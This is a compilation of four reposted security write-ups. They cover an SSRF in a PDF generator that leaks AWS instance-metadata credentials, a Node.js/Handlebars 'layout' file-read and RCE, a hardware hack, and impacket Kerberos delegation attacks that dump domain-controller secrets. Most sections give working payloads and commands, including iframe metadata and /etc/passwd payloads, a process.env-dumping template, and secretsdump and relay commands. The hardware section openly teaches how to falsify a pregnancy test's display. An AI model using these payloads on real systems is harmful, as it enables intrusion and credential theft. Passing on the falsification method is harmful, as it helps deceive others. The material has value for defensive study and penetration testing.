Story Behind Sweet SSRF.

Story Behind Sweet SSRF.

Original text by Rohit Soni

Persistence is the Key to Success.🔥

Image for post

Hey everyone! I hope you all are doing well!

Rohit soni is back with another write-up and this time it’s about critical SSRF which leads to AWS credentials disclosure. Let’s dive into it without wasting time.

Couple of months back when there was lockdown in whole world due to COVID-19 pandemic I was spending my most of time in hunting, learning and exploring new stuff (specifically about pentesting😜).

One day while scrolling linkedin feed I saw one guy’s post saying got hall of fame in target.com website. The post caught my attention and as I was not hunting on any program I started hunting on that program.

Note: I am not allowed to disclose the target website. So, Let’s call it target.com

I created an account on target.com and started exploring every functionalities. After spending couple of hours hunting and exploring functionalities I saw my email address was reflected in the response in script tag as shown in below image.

Image for post
Look at that email address.

Ahh… Very first thing came into my mind was XSS. I changed my email address to testacc@hubopss.com-alert(“h4ck3d!!”)- But failed because it is not a valid email address. But In very next moment I intercepted the request using burp and changed my email address in intercepted request and forwarded it.

Boom….Got Stored XSS.

Image for post
XSS is Love❤ (Sorry for poor picture quality😅)
Image for post
Payload reflected without filtering/encoding/sanitizing special characters.

Root cause of this XSS was lack of input validation at server side. Website was validating email address at client side only that’s why it did not allowed me to directly input my payload in email field but as server was not filtering out or encoding special characters my payload stored and I got the pop-up.

Okay, That’s cool but where is the SSRF you promised !? 😐

Main Story begins from here.

Stored XSS is nice finding but hacker inside me was screaming “You can find critical, I want P1😜”. So, I kept hunting and came across the functionality that allows to export user inputted text in pdf file.

After seeing this functionality I remembered a write-up which was about ssrf by abusing pdf generator functionality. I have not read the write-up but I remembered the title. I quickly googled the title and found the right write-up, I read and applied the same.

Identification Part :

I was able to figure out that Custom cover page content field was vulnerable.

Image for post

What I did was, I supplied <center><u>hello there</u></center> HTML tags as an input in Custom cover page content field and exported as pdf. and I got something very interesting.

Image for post
Ahh….Interesting..!!

As you can see in above screenshot, it accepted HTML tags and generated the pdf according to supplied HTML tags. Interesting..!!

Next step is to check if its vulnerable for SSRF. I confirmed that generate pdf file functionality is vulnerable for SSRF using <iframe> tag and burp collaborator client. Payload I used was:

<iframe src=“http://something.burpcollaborator.net”></iframe>

Image for post
Woah, SSRF Identified. {^_^}

HTTP request from target server is logged into my burp collaborator client window. Woah, SSRF Identified.

Root Cause: <iframe> tag used to embed/load website into another website. While generating pdf file, the target server requested my burp collaborator client to load it into <iframe> tag. As a result I got request logged into collaborator client.

Still, This SSRF does not has much impact. Let’s exploit and see what we can achieve by exploiting this SSRF.

Exploitation Part

To exploit this SSRF I used following payload.

<iframe src=“http://localhost”></iframe>

But unfortunately it doesn’t worked and showed me blank pdf file.

Image for post
Failed. -_-

After that I though to load files stored at server side. For example, /etc/passwd file. To do that I built following payload.

<iframe src=“file://etc/passwd”></iframe>

But again bad luck. Got same blank pdf file.

I used different different payloads to exploit the SSRF but I failed. Few of them are as follows. (I failed doesn’t mean you will also. Try your luck😉)

<iframe src=“file://etc/shadow”></iframe>

<iframe src=“http:localhost”></iframe>

<iframe src=“//192.168.0.1”></iframe>

<iframe src=“http://127.0.0.1”></iframe>

Any of the above payload was not working for me. Then, I thought to check the IP address which got on burp collaborator client on shodan and I came to know that the website is running on Amazon EC2 machine.

Image for post
Website is Hosted on Amazon EC2 Instance.

After considerable amount of fail attempts. I took a break and thought to ask to ritik sahni. He is my good friend and 15yo talented hacker. I called him and told him whole scenario.

He took few minutes and replied, Try to load following URL in iframe source: http://169.254.169.254/latest/meta-data/

As soon as I did it, I was like, Woah!! I got their internal directories and files listed out in iframe.

Image for post
Got Internal Directories and Files.

You must be wondering from where 169.254.169.254 IP address came.!

The IP address 169.254.169.254 is a link-local address and is valid only from the instance. In simple terms, We can say this IP is localhost for your EC2 Instance.

and by using http://169.254.169.254/latest/meta-data/ we can retrieve instance metadata.

Then, Ritik told me to check iam/ directory. I was able to get AWS security credentials from iam directory. Have a look at below attached PoC.

Image for post
Payload

Final Payload:

<iframe src=“http://169.254.169.254/latest/meta-data/iam/security-credentials/Worker” width=“100%”></iframe>

Image for post
SSRF PoC 😍🔥

It took me around 4 hours to identify and exploit SSRF. Special thanks to my friend Ritik Sahni (@deep.tech).

Hope you enjoyed my story. If you have any questions or suggestions reach me through instagram, twitter or linkedin.

Happy Hunting. 🙂

Instagram: @street_of_hacker

Twitter: @streetofhacker

LinkedIn: Rohit Soni

Special Thanks to Ritik Sahni: @deep.tech

And also Thanks to target.com for amazing swags.😁

The Secret Parameter, LFR, and Potential RCE in NodeJS Apps

The Secret Parameter, LFR, and Potential RCE in NodeJS Apps

Original text by CAPTAINFREAK

TL;DR

If you are using ExpressJs with Handlebars as templating engine invoked via hbs view engine, for Server Side Rendering, you are likely vulnerable to Local File Read (LFR) and potential Remote Code Execution (RCE).

#BugBountyTip💰

  1. If the target is responding with X-Powered-By: Express and there is HTML in responses, it’s highly likely that NodeJs with server-side templating is being used.
  2. Add layout in your wordlist of parameter discovery/fuzzing for GET query or POST body.
  3. If the arbitrary value of layout parameter added is resulting in 500 Internal Server Error with ENOENT: no such file or directory in body, You have hit the LFR.

Details

About more than a week back, I stumbled upon a critical Local File Read (LFR) security issue which had the potential to give Remote Code Execution in a fairly simple ~10 lines of NodeJS/ExpressJs code which looked like the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
var express = require(‘express’);
var router = express.Router();

router.get(‘/’, function(req, res, next) {
res.render(‘index’)
});

router.post(‘/’, function(req, res, next) {
var profile = req.body.profile
res.render(‘index’, profile)
});

module.exports = router;

The whole source can be found here.

If you are even a little bit familiar with NodeJs Ecosystem and have written at least your first Hello World endpoint in ExpressJs, you will certify that this is clearly straightforward and innocent code.

So after getting surprised and disillusioned by the security bug, I remembered that It’s indeed called Dependency Hell. To be honest, I should not have been that surprised.

The betrayal by in-built modules, dependencies, and packages have been the reason to introduce numerous security bugs. This is a re-occurring theme in software security anyway.

To check out if this is a known issue or not, I created a CTF challenge and shared it with many of my talented friends belonging to multiple community forums of Web Security, Node, Backend Engineering, CTFs, and BugBounty.https://platform.twitter.com/embed/index.html?dnt=false&embedId=twitter-widget-0&frame=false&hideCard=false&hideThread=false&id=1350083997854928897&lang=en&origin=https%3A%2F%2Fblog.shoebpatel.com%2F2021%2F01%2F23%2FThe-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps%2F&theme=dark&widgetsVersion=ed20a2b%3A1601588405575&width=550px

Node/Express.js Web Security Challenge:https://t.co/vjOUcxHdVx

Very short code: https://t.co/gkjcZ24YUt

Can you find the flag: 𝗰𝗳𝗿𝗲𝗮𝗸{.*}#nodejs #javascript #JS #ctf #bugbounty— CaptainFreak (@0xCaptainFreak) January 15, 2021

Turns out this was not known, Even after giving the whole source code of the challenge, only 4 people were able to solve it (all CTFers 🥳):

  1. @JiriPospisil
  2. @CurseRed
  3. @zevtnax
  4. @po6ix

Congrats to all the solvers 🎊 and thanks a lot to everybody who tried out the challenge.

For the people who still wanna try out, I plan to keep the Profiler Challenge up for one more week. Stop Reading and check it out now!

Challenge Solution

1curl -X ‘POST’ -H ‘Content-Type: application/json’ —data-binary $'{\»profile\»:{«layout\»: \»./../routes/index.js\»}}’ ‘http://ctf.shoebpatel.com:9090/’

HTTP request:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: ctf.shoebpatel.com:9090
Content-Length: 48
Content-Type: application/json

{
«profile»: {
«layout»: «./../routes/index.js»
}
}

HTTP Response (content of routes/index.js):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 463

var express = require(‘express’);
var router = express.Router();

const flag = «cfreak{It’s called Dependency Hell for a reason! (https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122)}»

/* GET home page. */
router.get(‘/’, function(req, res, next) {
res.render(‘index’)
});

router.post(‘/’, function(req, res, next) {
var profile = req.body.profile
res.render(‘index’, profile)
});

module.exports = router;

Flag:

1«cfreak{It’s called Dependency Hell for a reason! (https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122)}»

That’s It! What the heck, right? You might be thinking, what even is this layout parameter? and where is it even coming from. Soo out of context!

If you like Code Review, why don’t you find out? It will be a good code review exercise.

Secret layout parameter

To find out from where it is coming, we can track the flow of our input from Source to Sink till we find out the reason why LFR is happening.

Source (Line 3):

1
2
3
4
router.post(‘/’, function(req, res, next) {
var profile = req.body.profile
res.render(‘index’, profile)
});

Let’s follow the path this profile object argument takes.

1
2
3
4
5
6
7
8
res.render = function render(view, options, callback) {
var app = this.req.app;
var opts = options || {};


// render
app.render(view, opts, done);
};

“index” argument became view & our profile argument became the options parameter which became opts and got flown into app.render

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.render = function render(name, options, callback) {
var opts = options;
var renderOptions = {};
var view;

merge(renderOptions, opts);

var View = this.get(‘view’);

view = new View(name, {
defaultEngine: this.get(‘view engine’),
root: this.get(‘views’),
engines: engines
});

// render
tryRender(view, renderOptions, done);
};

function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
1
2
3
4
View.prototype.render = function render(options, callback) {
debug(‘render «%s»‘, this.path);
this.engine(this.path, options, callback);
};

In View class, this.engine becomes an instance of hbs in our case and this.path = rootViewDir + viewFilename. The options argument is our profile.

I will take the liberty here and modify the code a bit to make it linear and easy to understand, but you can check out the original version on Github.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function middleware(filename, options, cb) {
// The Culprit — https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122
var layout = options.layout;

var view_dirs = options.settings.views;
var layout_filename = [].concat(view_dirs).map(function (view_dir){
// Some code to create full paths
var view_path = path.join(view_dir, layout || ‘layout’);

// This actually restricts reading/executing files without extensions.
if (!path.extname(view_path)) {
view_path += extension;
}
return view_path;
}

tryReadFileAndCache(layout_filename);

// in-memory caching Code
function tryReadFileAndCache(templates) {
var template = templates.shift();
fs.readFile(template, ‘utf8’, function(err, str) {
cacheAndCompile(template, str);
});
}


function cacheAndCompile(filename, str) {
// Here we get compiled HTML from handlebars
var layout_template = handlebars.compile(str);
// Some further logic
}

We can stop analysing here, as you can see on Line 22 we effectively read from the Root Views Dir + layout and pass it to handlebars.compile which gives us the HTML after compiling the given file which we completely control (Except the extension cause it’s added explicitly from the config to the path if not provided already. Line. 12).

Hence the LFR, we can read any files with extensions.

RCE 💣

As the templating is involved, we do have a strong potential for RCE. It has the following pre-requisites though:

  1. Through the above LFR read ./../package.json.
  2. See the version of hbs being used, it should be <= 4.0.3. Because after this version, the hbs team started using Handlebars.js of version >= 4.0.14Commit Link.
  3. In Handlebars below this version, it was possible to create RCE payloads. There is an awesome writeup on this by @Zombiehelp54 with which they got RCE on Shopify.
  4. And you should have a functionality of file upload on the same box with a known location, which is quite an ask considering everybody uses blob storage these days, but we never know 🤷‍♂️

With above fulfilled, you can write a handlebars template payload like below to get RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!— (by [@avlidienbrunn](https://twitter.com/avlidienbrunn)) —>

{{#with «s» as |string|}}
{{#with «e»}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub «constructor»)}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push «return JSON.stringify(process.env);»}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Fix 🤕

Easy fix would be to stop using the code anti-pattern shown in the above example like below:

1❌ res.render(‘index’, profile)

v/s

1✅ res.render(‘index’, { profile })

which I think many devs use already so that they can be more descriptive in templates with the usage of just “{{name}}” vs “{{profile.name}}”.

But think for a second again, is the above code safe? Yea sure, we don’t have a way to provide layout in the options argument to res.render anymore. But is there any way to still introduce the culprit layout parameter?

Prototype Pollution!

It would be ignorant if we don’t mention proto pollution in a Js/NodeJs Web Security writeup 🙃 !

Readers who are unaware of proto pollution, please watch this awesome talk from Olivier Arteau at NorthSec18.

As you can see, even the most common pattern (res.render('template', { profile })) of passing objects to render function is not safe, If the application has prototype pollution at any place with which an attacker can add layout to prototype chain, the output of every call to res.render will be overwritten with LFR/RCE. So we have DoS-ish LFR/RCE! With presence of exploitable proto pollution, this becomes quite a good gadget plus becomes unfixable unless we fix proto pollution.

Solid Fix

  1. First fix proto pollution if you are vulnerable to it.
  2. and you can remove the layout key from the object or do whatever to stop it from reaching that vulnerable Sink.

Let me know what you think should be the proper fix?


Above I have described my observations on a potentially critical vulnerability in the Setup of NodeJS + Express + HBS.

As this setup is pretty common, I wanted this writeup to be out there. The handlebars engine particularly is very popular due to it’s support of HTML symantics. Everytime I work on a side-project, I quickly setup the boilerplate code with quick one liner of express-generator cli express --view hbs and this creates the exact same stack the above issue is talking about. Don’t know how many time I might have used that code line myself. I plan to do the same kind of review for other view engines that express supports (ejs, hjs, jade, pug, twig, vash).

Anyways, thanks for Reading! If something is erroneous, please let me know, would love to have a constructive discussion.

It’s called Dependency Hell for a reason!

Best,
CF

Туда-обратная разработка. Веселее, чем б*тпл*г, полезнее, чем STM

Original text by @N3M351DA

Не рекомендуется к прочтению тем, кто обладает проблемами с нервной системой.

Когда я кидала статью на утверждение, меня спросили: “А где же тут ИБ, это же схемотехника!” Хочу от себя заметить, что ИБ помимо сферы ИТ распространяется не только на стандартизацию, безопасность программного обеспечения, защиту от утечек информации по сторонним каналам (сюда в том числе входит изучение распространения радиоволн и электромагнитных сигналов), но и на аппаратный уровень.

Википедия:

  • Обра́тная разрабо́тка (обратное проектирование, обратный инжиниринг, реверс-инжиниринг; англ. reverse engineering) — исследование некоторого готового устройства или программы, а также документации на него с целью понять принцип его работы; например, чтобы обнаружить недокументированные возможности (в том числе программные закладки), сделать изменение или воспроизвести устройство, программу или иной объект с аналогичными функциями, но без прямого копирования.
  • Схемоте́хника — научно-техническое направление, занимающееся проектированием, созданием и отладкой (синтезом и анализом) электронных схем и устройств различного назначения.

К сожалению, в данной статье мы ничего проектировать и создавать не будем. В том числе, заниматься отладкой (синтезом и анализом), в том варианте, в котором ей занимаются при создании и проектировании устройств, то есть перед их запуском в производство.

В данной статье мы рассмотрим, как методом подбора комбинации логических значений можно научиться управлять проприентарным устройством для нарушения целостности информации. Мы будем использовать недокументированные возможности устройства, то есть не предусмотренные инструкцией.

Однажды (тысячу лет назад) мне в руки попался интереснейший девайс, я не смогла удержаться и разобрала его. Постараюсь описать самое интересное из того что я увидела внутри и подтолкнуть к определенным выводам тех, кто захочет развить данную тему.

Уточнять, что за устройство мы рассматриваем я не буду по этическим причинам.

Итак, перед нами сравнительно небольшая плата:

Рассматриваемый нами девайс содержит дисплей, который имеет шесть выводов. Изображения, которые может выводить дисплей – фиксированные, то есть они заранее созданы и отображаются, когда на выводы дисплея поступает определенный набор сигналов с контролирующей микросхемой.

С другой стороны мы можем увидеть:

– отсек с батарейками (1),

– пассивные компоненты,

– микросхему, залитую компаундом – для того, чтобы защитить ее от внешних воздействий и реверсеров (2),

– контакты датчика(3),

– кусок пластика с прорезями.

После удаления куска пластика с прорезями мы можем наблюдать 4 светодиода и один фотодиод (группа элементов справа). Это удивительно, так как в корпусе как раз нет отверстий ни для первых, ни для второго. Можно предположить, что фотодиод служит для определения момента закрытия крышки корпуса, но опять же – достаточного отверстия для поступления света там нет.

Еще одним следствием работы фотодиода может быть то, что после разбора корпуса, при попадании на него света прошивка перестала вести себя статично и микросхема начала отправлять меандр на контакты дисплея, от чего тот начал мигать.

Меандр – последовательность прямоугольных импульсов с равной длиной импульса и паузой, в логических устройствах может считываться как 0-1-0-1-0-1-0 и так далее.

Чтобы определить на скорую руку на какие контакты приходит сигнал – меандр, был использован светодиод. Путем преставления ног светодиода между контактами (одна – на земле, вторая на сигнальном контакте) можно легко определить какие из контактов – «мерцают». Так же, это можно проделать с помощью мультиметра в режиме измерения постоянного тока.

Так как отковыривать компаунд дело долгое и неблагодарное, а внесение изменений в прошивку данного девайса в срочном порядке вряд ли будет популярно, далее будет предложено простое и действенное изменение значения на дисплее нужное нам.

Практическим образом было установлено, что, если использовать постоянный сигнал с источника питания девайса, можно добиться фиксации изображения на экране. Эксперимент проводился с двумя контактами, но можно их припаивать и пробовать узнавать режимы работы дисплея с изменением большего количества информационных значений.

Мы разобрались, что при закорачивании контактов 3 и 5 можно добиться специфической статической надписи. Для того, чтобы это проделать требуется:

  • Разобрать корпус (он крайне легко разбирается руками).
  • Кинуть минимум две перемычки от батарейки к контактам 3 и 5.

Если сделать это аккуратно, то можно легко справиться за 60 секунд. При учете специфических условий из данных нескольких минут, останется еще время на посидеть в мессенджере.

Отрицательный результат достигается закорачиванием 3 и 6 контакта соответственно, но здесь нас предательски выдает неверная надпись, под результатом, логически несовместимая с ним.

TODO:

[+] За счет пайки и использования оставшихся контактов добиться вывода на экране полностью статичной надписи.

Для этого потребуется создать таблицу значений.

Пример ее заполнения:

Номер вывода123456Выводимое изображение
Состояние выводов (1)?1??1?Беременна (статическое)Значок часы, книжка (моргают)
Состояние выводов (2)

[-] Возможно, полученные результаты усложнят процесс фальсификации, что недопустимо.

Также чтобы определить вектор развития событий скажу: в данной статье мы с вами рассмотрели исследование и научились фальсифицировать значение теста на беременность с помощью двух перемычек.

Как показала практика, мало кто осведомлен о том, как должен выглядеть экран положительного теста. Поэтому, в принципе, предложенного варианта фальсификации может быть достаточно.

No Shells Required — a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA

Original text by Red XOR Blue

There are a ton of great resources that have been released in the past few years on a multitude of Kerberos delegation abuse avenues.  However, most of the guidance out there is pretty in-depth and/or focuses on the usage of @Harmj0y’s Rubeus.  While Rubeus is a super well-written tool that can do quite a few things extremely well, in engagements where I’m already running off of a primarily Linux environment, having tools that function on that platform can be beneficial.  To that end, all the functionality we need to perform unconstrained, constrained, and resource-based constrained delegation attacks is already available to us in the impacket suite of tools.
This post will cover how to identify potential delegation attack paths, when you would want to use them, and give detailed walkthroughs of how to perform them on a Linux platform.  What we won’t be covering in this guide is a detailed background of Kerberos authentication, or how various types of delegation work in-depth, as there are some really great articles already out that go into a ton of detail on the inner-workings of the protocol.  If you are interested in a deeper dive, the most comprehensive & enlightening post I’ve read is @Elad_Shamir’s write-up: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Unconstrained Delegation


What Is It?

Back in the early days of Windows Active Directory (pre-Server 2003) this was really the only way to delegate access, which at a high level effectively means configuring a service with privileges to impersonate users elsewhere on the network.  Unconstrained Delegation would be used for something like a front-end web server that needed to take in requests from users, and then impersonate those users to access their data on a second database server.  

Unfortunately, as the name implies, these impersonation rights were not limited to a single system or service, but rather allowed a configured account to impersonate anyone that authenticated against it anywhere on the network.  This is due to the fact that when an object authenticates to a service tied to an account configured with unconstrained delegation, they send the remote service a copy of their TGT (Ticket Granting Ticket), which allows the remote system to generate new TGS (Ticket Granting Service / service ticket) requests at-will.  These TGS’ are used for authenticating to Kerberos-enabled services across the network, meaning that if you possess an object’s TGT you can impersonate them anywhere on the network where you can authenticate with Kerberos.

When To Use:

If you can gain access to an account (user or computer) that is configured with unconstrained delegation.  To identify users & computers configured with unconstrained delegation I use pywerview, a python port of a good chunk of powerview’s functionality (https://github.com/the-useless-one/pywerview) but feel free to use whatever tools works best for you. This tool has handy flags to pull both accounts configured with both constrained + unconstrained delegation.  In this case what we’re really looking for is any user or computer with a UserAccountControl attribute that includes ‘TRUSTED_FOR_DELEGATION’.  All we’ll need at this point is a set of creds for AD to allow us to do the enumeration.  Taking a look at the output of the check we ran below, we can see that the user ‘unconstrained’ is configured with unconstrained delegation:

If you have find you have access to a computer object that is configured with unconstrained delegation, it may be easier simply to perform the print spooler attack and extract the ticket from memory using Rubeus, as detailed here: https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1.  However, if you have access to a user account configured with delegation or would prefer to avoid running code on remote systems as much as possible, the following should be helpful.

Process Walkthrough:

Note: This section is pretty much a direct walkthrough of the awesome work @_dirkjan wrote up in his blog here: https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/ If you’re familiar with this style of attack it’s nothing new, just a (hopefully) fairly straightforward walkthrough of the path that I’ve had the most success with on engagements after identifying unconstrained delegation.
If we do end up identifying any user accounts configured with unconstrained delegation, we’ll want to obtain Kerberos tickets we can attempt to crack.  For an account to be configured with delegation, they also need to be configured with an SPN (Service Principal Name).  This means that we should be able to retrieve a crackable Kerberos ticket for the account using GetUserSPNs.py

GetUserSPNs.py DOMAIN/USER:PASSWORD -request-user UNCONSTRAINED_USER

Assuming we’re able to recover the password for an account / used another method to get admin access on a computer configured with unconstrained delegation, we can now move on to attempting to leverage this access to get DA on the network.  We’ll start by attempting to add an SPN to the account we have access to. This is the only part of the attack that will require non-default settings to be configured (for a user account), but per all the sql devs on stack exchange asking how to enable it, it seems to be something that should be commonly turned on already.  If we have access to a computer account configured with unconstrained delegation, we can use the ‘Validated write to DNS host name’ security attribute (configured by default) to add an additional hostname to the object, which will automatically configure new SPN’s that will also be configured with unconstrained delegation. We then just have to create a new DNS record to point that new hostname to us.
We’ll be using dirk-jan’s krbrelayX toolkit for the rest of this process (https://github.com/dirkjanm/krbrelayx), first using addspn.py to attempt to add a ‘host’ spn for a nonexistent system on the network.  Note – it is important to ensure when you’re adding an SPN you use the fqdn of the network, not just the hostname.  You’ll see one of two messages, based on if your account has privileges to modify its own SPN’s (above = an account with appropriate attributes set, below = attribute not set).

addspn.py -u DOMAIN\\USER -p PASSWORD -s host/FAKESYSTEM.FQDN ldap://DC.FQDN

If you don’t have privileges, this is pretty much the end of this potential vector, although I would still recommend targeting the systems(s) on which the account has SPN’s configured for, as they likely have TGT’s in-memory.
However, if we are able to successfully add an SPN for a non-existent system we can keep going.  Next, we’ll want to add a DNS record for this same non-existent system that links back to our system’s IP, effectively turning our system into this non-existent system.  Due to the actions we took in the last step (creating an SPN for the ‘host’ service with our user configured with unconstrained delegation on this non-existent hostname that now points to our system), we are basically creating a new ‘computer’ on the network that has unconstrained delegation configured on the ‘host’ service on it. 
We’ll be using another part of the krbrelayx toolkit, dnstool.py, to complete this step to create a new DNS record and then point it at the IP of our attack box (Note: dns records take ~3 minutes to update, so don’t worry if you complete this step and cant immediately ping / nslookup your new host):

dnstool.py -u DOMAIN\\USERNAME -p PASSWORD -r FAKESYSTEM.FQDN -a add -d YOUR_IP DC_HOSTNAME

Everything should be ready to go now, we’ll execute the print spooler bug to force the DC$ account to attempt to authenticate to the host service of our new ‘computer’ that is configured with unconstrained delegation.  This will in turn cause the DC to provide a copy of its TGT when authenticating, which we can then use to impersonate it on any other Kerberos-enabled service.  In one window we’ll set up krbrelayx.py as follows: **This is very important**  the krbsalt is the FQDN of the domain in ALL CAPS, followed immediately by the username (case-sensitive).  The Krbpass is the user’s password, nothing crazy there.

krbrelayx.py --krbsalt DOMAIN.FQDNUsernameCaseSensitive --krbpass PASSWORD

Once you have that running in one window, we’ll use the final tool within the krbrelayx toolkit to kick off the attack (Note: The user used to kick off the attack doesn’t matter, it can be any domain user).  The below shows what the successful attack looks like:

printerbug.py DOMAIN/USERNAME:PASSWORD@DC_HOSTNAME FAKE_SYSTEM.FQDN

On our krbrelayx window, we should see that we have gotten an inbound connection, and have obtained a tgt (formatted as .ccache) file for the DC$ account:

At this point, we just need to export the ticket we received into memory, after which we should be able to run secretsdump against the DC:

export KRB5CCNAME=CCACHE_FILE.CCACHE

secretsdump.py -k DC_Hostname -just-dc





Constrained Delegation


What Is It?

Microsoft’s next iteration of delegation included the ability to limit where objects had delegation (impersonation) rights to.  Now a front-end web server that needed to impersonate users to access their data on a database could be restricted; allowing it to only impersonate users on a specific service & system.  However, as we will find out, the portion of the ticket that limits access to a certain service is not encrypted.  This gives us some room to gain additional access to systems if we gain access to an object configured with these rights.

When To Use:

If you can gain access to an account (user or computer) that is configured with constrained delegation.  You can find this by searching for the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ value in the UserAccountControl attribute of AD objects.  This can be also be found through the use of Pywerview, as outlined in the above section.

Process Walkthrough:

This time, we’ll start by targeting another account, httpDelegUser.  As we can see from our initial enumeration with Pywerview, this account has the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ flag set.  We can also check the contents of the account’s msDS-AllowedToDelegateTo attribute to determine that it has delegation privileges to the www service on Server02.  Not the worst thing in the world, but probably not going to get us a remote shell.

Also a quick recap of the account’s group memberships:

To start this attack, we’ll use another impacket tool – getST.py – to retrieve a ticket for an impersonated user to the service we have delegation rights to (the www service on server02 in this case).  In this example we’ll impersonate ‘bob’, a domain admin in this environment.  Note: If a user is marked as ‘Account is sensitive and cannot be delegated’ in AD, you will not be able to impersonate them.

getST.py -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD

From here, the initial assumption would be that we could only authenticate against the www service on server02 with this ticket.  However, Alberto Solino discovered that the service name portion of the ticket (sname) is not actually a protected part of the ticket.  This allows us to change the sname to any value we want, as long as its another service running under the same account as the original one we have delegation rights to.  For example, if our account (httpDelegUser) has delegation rights to a service that the server02 computer object is running (example SPN: www/server02), we can change our sname to any other SPN associated with server02 (ex. cifs/server02).  His blog on the mechanism by which this occurs is super insightful, and worth a read:  https://www.secureauth.com/blog/kerberos-delegation-spns-and-more
Even better for us, as Alberto Solino is one of the primary writers of impacket, he built this logic in so that these sname conversions happen automatically for us on the back-end:

From an operational standpoint, what this means is that the ticket for the www service we obtained in the step above can be loaded into memory and used to use just about any of the impacket suite of tools to run commands, dump SAM, etc.



Resource-Based Constrained Delegation


What Is It?

Note: Microsoft is releasing an update in January 2020 that will enable LDAP channel binding & LDAP signing by default on Windows systems, remediating this potential attack vector on fully patched systems. 

Starting with Windows Server 2012, objects in AD could set their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, effectively allowing objects to set what remote objects had rights to delegate to them.  This allows those remote objects with delegation rights to impersonate any account in AD to any service on the local system.  Therefore, if we can convince a remote system to add an object that we control to their msDS-AllowedToActOnBehalfOfOtherIdentity attribute, we can use it to impersonate any other user not marked as ‘Account is sensitive and cannot be delegated’ on it.

When To Use:

Basically, when you’re on a network and want to get a shell on a different system on that same network segment.  This attack can be ran without needing any prior credentials, as described by @_dirkjan in his blog here: https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/ .  However, the method described does require that a domain controller in the environment is configured with LDAPS; which seems to be somewhat uncommon based on the environments I’ve tested against over the past 6 months.           

I’ll focus on a secondary scenario for this attack – one where you have compromised a standard low-privilege user account (no admin rights) or a computer account, and are on a network segment with other systems you want to compromise.

Process Walkthrough:

To begin with, what this attack really needs is *some* sort of account that is configured with an SPN.  This can be a computer account, a user account that is already configured with an SPN, or can be a computer account we create using a non-privileged user account by taking advantage of a default MachineAccountQuota configuration (https://blog.netspi.com/machineaccountquota-is-useful-sometimes/).  We need an account that is configured with an SPN as this is a requirement if we want the TGS produced by S4U2Self to be forward-able (Read more why this is necessary here: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-misunderstood-feature-1).  Computer accounts work as by default they are configured with a variety of SPN’s for all their various Kerberos-enabled services.
So, in our example let’s say we only have a low privilege account (we’ll use the ‘tim’ account). 

The first step in the process would be to try and create a computer account, so that we could gain control of an account configured with SPN’s.  To do this, we’ll use a relatively new impacket example script – addcomputer.py.  This script has a SAMR option to add a new computer, which functions over SMB and uses the same mechanism as when a new computer is added to a domain using the Windows GUI.

addcomputer.py -method SAMR -computer-pass MADE_UP_PASSWORD -computer-name MADE_UP_NAME DOMAIN/USER:PASSWORD

After running this command, your new computer object will be added to AD (Note: this example script was not fully working for me in python2.7 – the computer object was added but its password was not being appropriately set.  It does work using Python3.6 though.)

This script was released fairly recently, prior to it I used PowerMad.ps1 from a Windows VM to perform the same actions.  This tool uses a standard LDAP connection vs. SAMR, but the end result is the same.  For further info on PowerMad I recommend the following: https://github.com/Kevin-Robertson/Powermad
If this part of the attack didn’t work, the default MachineAccountQuota has likely been changed for users in the environment.  In that case you’ll need to use alternative methods to obtain a computer account / user account configured with an SPN.  However, once you have that, you can continue to proceed as described below.
For the next part of the attack we’ll be using mitm6 + ntlmrelayx.  Unlike a traditional NTLM relay attack, really what we’re interested in is intercepting machine account hashes, as we can forward them to LDAP on a domain controller.  This allows us to impersonate the relayed computer account and set its msDS-AllowedToActOnBehalfOfOtherIdentity attribute to include the computer object that we control.  Note: We unfortunately can’t relay SMB to LDAP due to the NTLMSSP_NEGOTIATE_SIGN flag set on SMB traffic, so will be focusing on intercepting HTTP traffic, such as windows update requests. 
We’ll first set up ntlmrelayx to delegate access to the computer account we just made & have control of (rbcdTest): 

ntlmrelayx.py -wh WPAD_Host --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DOMAIN_CONTROLLER

We next start a relay attack using mitm6.py or other relay tool, and wait for requests to start coming in.  Eventually you should see something that looks like the following:

In the above screenshot we can see that we successfully relayed the incoming auth request made by the server02$ account to LDAP on the domain controller and modified the object’s privileges to give rbcdTest$ impersonation rights on the system.
Once we have delegation rights, the rest of the attack is fairly straightforward.  We’ll use another impacket tool – getST.py – to create the TGS necessary to connect to Server02 using an impersonated identity.
This tool will get us a Kerberos service ticket (TGS) that is valid for a selected service on the remote system we relayed to LDAP (Server02).  As the rbcdTest$ account has delegation rights on this system, we are able to impersonate any user that we want, in this case choosing to impersonate ‘administrator’, a domain admin on the testlab.local network.

